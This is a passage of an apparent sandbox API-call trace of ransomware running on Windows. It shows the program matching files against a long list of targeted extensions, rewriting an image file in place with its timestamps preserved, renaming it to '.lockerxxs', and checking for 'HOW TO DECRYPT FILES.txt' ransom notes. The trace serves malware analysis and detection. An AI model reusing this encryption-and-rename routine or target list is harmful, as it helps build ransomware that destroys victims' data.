[0065.673] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\IconImages.jpg", pszSpec="*.eml") returned 0 [0065.673] lstrlenA (lpString="*.eml") returned 5 [0065.673] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\IconImages.jpg", pszSpec="*.pst") returned 0 [0065.673] lstrlenA (lpString="*.pst") returned 5 [0065.673] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\IconImages.jpg", pszSpec="*.ost") returned 0 [0065.673] lstrlenA (lpString="*.ost") returned 5 [0065.673] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\IconImages.jpg", pszSpec="*.idx") returned 0 [0065.673] lstrlenA (lpString="*.idx") returned 5 [0065.673] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\IconImages.jpg", pszSpec="*.dbx") returned 0 [0065.673] lstrlenA (lpString="*.dbx") returned 5 [0065.673] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\IconImages.jpg", pszSpec="*.sql") returned 0 [0065.673] lstrlenA (lpString="*.sql") returned 5 [0065.673] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\IconImages.jpg", pszSpec="*.mdb") returned 0 [0065.673] lstrlenA (lpString="*.mdb") returned 5 [0065.673] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\IconImages.jpg", pszSpec="*.fdb") returned 0 [0065.673] lstrlenA (lpString="*.fdb") returned 5 [0065.673] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\IconImages.jpg", pszSpec="*.wab") returned 0 [0065.673] lstrlenA (lpString="*.wab") returned 5 [0065.673] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\IconImages.jpg", pszSpec="*.dat") returned 0 [0065.673] lstrlenA (lpString="*.dat") returned 5 [0065.673] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\IconImages.jpg", pszSpec="*.txt") returned 0 [0065.673] lstrlenA (lpString="*.txt") returned 5 [0065.673] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\IconImages.jpg", pszSpec="*.jpeg") returned 0 [0065.674] lstrlenA (lpString="*.jpeg") returned 6 [0065.674] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\IconImages.jpg", pszSpec="*.jpg") returned 1 [0065.674] lstrlenA (lpString="*.jpg") returned 5 [0065.674] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\IconImages.jpg" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\IconImages.jpg") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\IconImages.jpg" [0065.674] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\IconImages.jpg" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\IconImages.jpg") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\IconImages.jpg" [0065.674] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\IconImages.jpg", lpString2="." | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\IconImages.jpg.") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\IconImages.jpg." [0065.674] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\IconImages.jpg.", lpString2="lockerxxs" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\IconImages.jpg.lockerxxs") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\IconImages.jpg.lockerxxs" [0065.674] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\IconImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\welcome tool\\iconimages.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x98 [0065.675] GetFileSize (in: hFile=0x98, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x10f3 [0065.675] GetFileTime (in: hFile=0x98, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0xbbadd700, dwHighDateTime=0x1c747ea), lpLastAccessTime=0x407536*(dwLowDateTime=0x61cccf30, dwHighDateTime=0x1d301bf), lpLastWriteTime=0x40753e*(dwLowDateTime=0xbbadd700, dwHighDateTime=0x1c747ea)) returned 1 [0065.675] SetFilePointer (in: hFile=0x98, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0065.675] ReadFile (in: hFile=0x98, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x10cd, lpOverlapped=0x0) returned 1 [0065.677] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\IconImages.jpg") returned="IconImages.jpg" [0065.677] SetFilePointer (in: hFile=0x98, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0065.677] WriteFile (in: hFile=0x98, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x10cd, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x10cd, lpOverlapped=0x0) returned 1 [0065.677] SetFileTime (hFile=0x98, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0065.677] CloseHandle (hObject=0x98) returned 1 [0065.691] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\IconImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\welcome tool\\iconimages.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\IconImages.jpg.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\welcome tool\\iconimages.jpg.lockerxxs")) returned 1 [0065.692] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcdf0400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x53907610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbcdf0400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xa38, dwReserved0=0x3000003, dwReserved1=0x4f81d8, cFileName="IconImagesMask.bmp", cAlternateFileName="ICONIM~1.BMP")) returned 1 [0065.692] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0065.692] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="IconImagesMask.bmp") returned -1 [0065.692] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="IconImagesMask.bmp") returned -1 [0065.692] lstrcmpiA (lpString1="", lpString2="IconImagesMask.bmp") returned -1 [0065.693] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\IconImages.jpg") returned="IconImages.jpg" [0065.693] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\" [0065.693] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\") returned="" [0065.693] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\HOW TO DECRYPT FILES.txt" [0065.693] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\welcome tool\\how to decrypt files.txt")) returned 0x20 [0065.693] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\", lpString2="IconImagesMask.bmp" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\IconImagesMask.bmp") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\IconImagesMask.bmp" [0065.693] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\IconImagesMask.bmp", pszSpec="*.ems") returned 0 [0065.693] lstrlenA (lpString="*.ems") returned 5 [0065.693] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\IconImagesMask.bmp", pszSpec="*.db") returned 0 [0065.693] lstrlenA (lpString="*.db") returned 4 [0065.693] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\IconImagesMask.bmp", pszSpec="*.dbf") returned 0 [0065.693] lstrlenA (lpString="*.dbf") returned 5 [0065.693] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\IconImagesMask.bmp", pszSpec="*.myox") returned 0 [0065.693] lstrlenA (lpString="*.myox") returned 6 [0065.693] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\IconImagesMask.bmp", pszSpec="*.myo") returned 0 [0065.693] lstrlenA (lpString="*.myo") returned 5 [0065.693] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\IconImagesMask.bmp", pszSpec="*.qbw") returned 0 [0065.693] lstrlenA (lpString="*.qbw") returned 5 [0065.693] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\IconImagesMask.bmp", pszSpec="*.qbb") returned 0 [0065.693] lstrlenA (lpString="*.qbb") returned 5 [0065.693] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\IconImagesMask.bmp", pszSpec="*.qbm") returned 0 [0065.693] lstrlenA (lpString="*.qbm") returned 5 [0065.694] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\IconImagesMask.bmp", pszSpec="*.qbo") returned 0 [0065.694] lstrlenA (lpString="*.qbo") returned 5 [0065.694] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\IconImagesMask.bmp", pszSpec="*.qbx") returned 0 [0065.694] lstrlenA (lpString="*.qbx") returned 5 [0065.694] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\IconImagesMask.bmp", pszSpec="*.qba") returned 0 [0065.694] lstrlenA (lpString="*.qba") returned 5 [0065.694] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\IconImagesMask.bmp", pszSpec="*.qby") returned 0 [0065.694] lstrlenA (lpString="*.qby") returned 5 [0065.694] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\IconImagesMask.bmp", pszSpec="*.qbj") returned 0 [0065.694] lstrlenA (lpString="*.qbj") returned 5 [0065.694] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\IconImagesMask.bmp", pszSpec="*.ofx") returned 0 [0065.694] lstrlenA (lpString="*.ofx") returned 5 [0065.694] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\IconImagesMask.bmp", pszSpec="*.qif") returned 0 [0065.694] lstrlenA (lpString="*.qif") returned 5 [0065.694] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\IconImagesMask.bmp", pszSpec="*.mye") returned 0 [0065.694] lstrlenA (lpString="*.mye") returned 5 [0065.694] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\IconImagesMask.bmp", pszSpec="*.mbox") returned 0 [0065.694] lstrlenA (lpString="*.mbox") returned 6 [0065.694] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\IconImagesMask.bmp", pszSpec="*.eml") returned 0 [0065.694] lstrlenA (lpString="*.eml") returned 5 [0065.694] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\IconImagesMask.bmp", pszSpec="*.pst") returned 0 [0065.694] lstrlenA (lpString="*.pst") returned 5 [0065.694] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\IconImagesMask.bmp", pszSpec="*.ost") returned 0 [0065.694] lstrlenA (lpString="*.ost") returned 5 [0065.694] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\IconImagesMask.bmp", pszSpec="*.idx") returned 0 [0065.694] lstrlenA (lpString="*.idx") returned 5 [0065.695] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\IconImagesMask.bmp", pszSpec="*.dbx") returned 0 [0065.695] lstrlenA (lpString="*.dbx") returned 5 [0065.695] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\IconImagesMask.bmp", pszSpec="*.sql") returned 0 [0065.695] lstrlenA (lpString="*.sql") returned 5 [0065.695] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\IconImagesMask.bmp", pszSpec="*.mdb") returned 0 [0065.695] lstrlenA (lpString="*.mdb") returned 5 [0065.695] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\IconImagesMask.bmp", pszSpec="*.fdb") returned 0 [0065.695] lstrlenA (lpString="*.fdb") returned 5 [0065.695] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\IconImagesMask.bmp", pszSpec="*.wab") returned 0 [0065.695] lstrlenA (lpString="*.wab") returned 5 [0065.695] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\IconImagesMask.bmp", pszSpec="*.dat") returned 0 [0065.695] lstrlenA (lpString="*.dat") returned 5 [0065.695] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\IconImagesMask.bmp", pszSpec="*.txt") returned 0 [0065.695] lstrlenA (lpString="*.txt") returned 5 [0065.695] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\IconImagesMask.bmp", pszSpec="*.jpeg") returned 0 [0065.695] lstrlenA (lpString="*.jpeg") returned 6 [0065.695] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\IconImagesMask.bmp", pszSpec="*.jpg") returned 0 [0065.695] lstrlenA (lpString="*.jpg") returned 5 [0065.695] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\IconImagesMask.bmp", pszSpec="*.png") returned 0 [0065.695] lstrlenA (lpString="*.png") returned 5 [0065.695] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\IconImagesMask.bmp", pszSpec="*.php") returned 0 [0065.695] lstrlenA (lpString="*.php") returned 5 [0065.695] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\IconImagesMask.bmp", pszSpec="*.cs") returned 0 [0065.695] lstrlenA (lpString="*.cs") returned 4 [0065.695] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\IconImagesMask.bmp", pszSpec="*.cpp") returned 0 [0065.695] lstrlenA (lpString="*.cpp") returned 5 [0065.696] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\IconImagesMask.bmp", pszSpec="*.rar") returned 0 [0065.696] lstrlenA (lpString="*.rar") returned 5 [0065.696] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\IconImagesMask.bmp", pszSpec="*.zip") returned 0 [0065.696] lstrlenA (lpString="*.zip") returned 5 [0065.696] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\IconImagesMask.bmp", pszSpec="*.html") returned 0 [0065.696] lstrlenA (lpString="*.html") returned 6 [0065.696] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\IconImagesMask.bmp", pszSpec="*.htm") returned 0 [0065.696] lstrlenA (lpString="*.htm") returned 5 [0065.696] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\IconImagesMask.bmp", pszSpec="*.xlsx") returned 0 [0065.696] lstrlenA (lpString="*.xlsx") returned 6 [0065.696] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\IconImagesMask.bmp", pszSpec="*.xls") returned 0 [0065.696] lstrlenA (lpString="*.xls") returned 5 [0065.696] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\IconImagesMask.bmp", pszSpec="*.mp4") returned 0 [0065.696] lstrlenA (lpString="*.mp4") returned 5 [0065.696] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\IconImagesMask.bmp", pszSpec="*.ppt") returned 0 [0065.696] lstrlenA (lpString="*.ppt") returned 5 [0065.696] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\IconImagesMask.bmp", pszSpec="*.pptx") returned 0 [0065.696] lstrlenA (lpString="*.pptx") returned 6 [0065.696] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\IconImagesMask.bmp", pszSpec="*.doc") returned 0 [0065.696] lstrlenA (lpString="*.doc") returned 5 [0065.696] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\IconImagesMask.bmp", pszSpec="*.dot") returned 0 [0065.696] lstrlenA (lpString="*.dot") returned 5 [0065.696] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\IconImagesMask.bmp", pszSpec="*.docx") returned 0 [0065.696] lstrlenA (lpString="*.docx") returned 6 [0065.696] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\IconImagesMask.bmp", pszSpec="*.7z") returned 0 [0065.697] lstrlenA (lpString="*.7z") returned 4 [0065.697] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\IconImagesMask.bmp", pszSpec="*.tar") returned 0 [0065.697] lstrlenA (lpString="*.tar") returned 5 [0065.697] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\IconImagesMask.bmp", pszSpec="*.bz2") returned 0 [0065.697] lstrlenA (lpString="*.bz2") returned 5 [0065.697] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\IconImagesMask.bmp", pszSpec="*.gz") returned 0 [0065.697] lstrlenA (lpString="*.gz") returned 4 [0065.697] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\IconImagesMask.bmp", pszSpec="*.mkv") returned 0 [0065.697] lstrlenA (lpString="*.mkv") returned 5 [0065.697] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\IconImagesMask.bmp", pszSpec="*.eml") returned 0 [0065.697] lstrlenA (lpString="*.eml") returned 5 [0065.697] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\IconImagesMask.bmp", pszSpec="*.msg") returned 0 [0065.697] lstrlenA (lpString="*.msg") returned 5 [0065.697] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\IconImagesMask.bmp", pszSpec="*.edb") returned 0 [0065.697] lstrlenA (lpString="*.edb") returned 5 [0065.697] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\IconImagesMask.bmp", pszSpec="*.accdb") returned 0 [0065.697] lstrlenA (lpString="*.accdb") returned 7 [0065.697] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\IconImagesMask.bmp", pszSpec="*.odb") returned 0 [0065.697] lstrlenA (lpString="*.odb") returned 5 [0065.697] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\IconImagesMask.bmp", pszSpec="*.java") returned 0 [0065.697] lstrlenA (lpString="*.java") returned 6 [0065.697] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\IconImagesMask.bmp", pszSpec="*.asm") returned 0 [0065.697] lstrlenA (lpString="*.asm") returned 5 [0065.697] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\IconImagesMask.bmp", pszSpec="*.pfx") returned 0 [0065.697] lstrlenA (lpString="*.pfx") returned 5 [0065.697] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\IconImagesMask.bmp", pszSpec="*.pem") returned 0 [0065.698] lstrlenA (lpString="*.pem") returned 5 [0065.698] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\IconImagesMask.bmp", pszSpec="*.p12") returned 0 [0065.698] lstrlenA (lpString="*.p12") returned 5 [0065.698] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\IconImagesMask.bmp", pszSpec="*.gpg") returned 0 [0065.698] lstrlenA (lpString="*.gpg") returned 5 [0065.698] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\IconImagesMask.bmp", pszSpec="*.vsd") returned 0 [0065.698] lstrlenA (lpString="*.vsd") returned 5 [0065.698] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\IconImagesMask.bmp", pszSpec="*.odg") returned 0 [0065.698] lstrlenA (lpString="*.odg") returned 5 [0065.698] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\IconImagesMask.bmp", pszSpec="*.raw") returned 0 [0065.698] lstrlenA (lpString="*.raw") returned 5 [0065.698] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\IconImagesMask.bmp", pszSpec="*.nef") returned 0 [0065.698] lstrlenA (lpString="*.nef") returned 5 [0065.698] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\IconImagesMask.bmp", pszSpec="*.svg") returned 0 [0065.698] lstrlenA (lpString="*.svg") returned 5 [0065.698] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\IconImagesMask.bmp", pszSpec="*.psd") returned 0 [0065.698] lstrlenA (lpString="*.psd") returned 5 [0065.698] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\IconImagesMask.bmp", pszSpec="*.vmx") returned 0 [0065.698] lstrlenA (lpString="*.vmx") returned 5 [0065.698] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\IconImagesMask.bmp", pszSpec="*.vmdk") returned 0 [0065.698] lstrlenA (lpString="*.vmdk") returned 6 [0065.698] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\IconImagesMask.bmp", pszSpec="*.vdi") returned 0 [0065.698] lstrlenA (lpString="*.vdi") returned 5 [0065.698] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\IconImagesMask.bmp", pszSpec="*.lay6") returned 0 [0065.698] lstrlenA (lpString="*.lay6") returned 6 [0065.699] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\IconImagesMask.bmp", pszSpec="*.mpeg") returned 0 [0065.699] lstrlenA (lpString="*.mpeg") returned 6 [0065.699] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\IconImagesMask.bmp", pszSpec="*.djvu") returned 